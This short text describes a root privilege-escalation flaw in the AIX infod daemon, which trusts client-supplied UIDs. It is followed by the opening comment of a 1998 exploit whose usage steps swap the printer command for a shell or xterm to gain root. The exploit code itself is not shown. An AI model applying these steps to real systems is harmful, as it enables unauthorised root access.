Certain versions of AIX ship with an Information Daemon, infod. This program is designed to provide information about the OS and installed ancilliary programs. The daemon which runs as root, does not check credentials which are passed to it. This allows users to pass requests with arbitrary UID's. If a user passes infod a request as root, they can goto the default options menu and change the printer command line to an alternate binary such as /bin/sh that gives privileges to the account the session was spawned under.

    /* Infod AIX exploit (k) Arisme 21/11/98  - All Rights Reversed
       Based on RSI.0011.11-09-98.AIX.INFOD (http://www.repsec.com)

       Run program with the login you want to exploit :)
       When the window appears, select "options", "defaults", change printer
       to something more useful (like /bin/x11/xterm) and print !
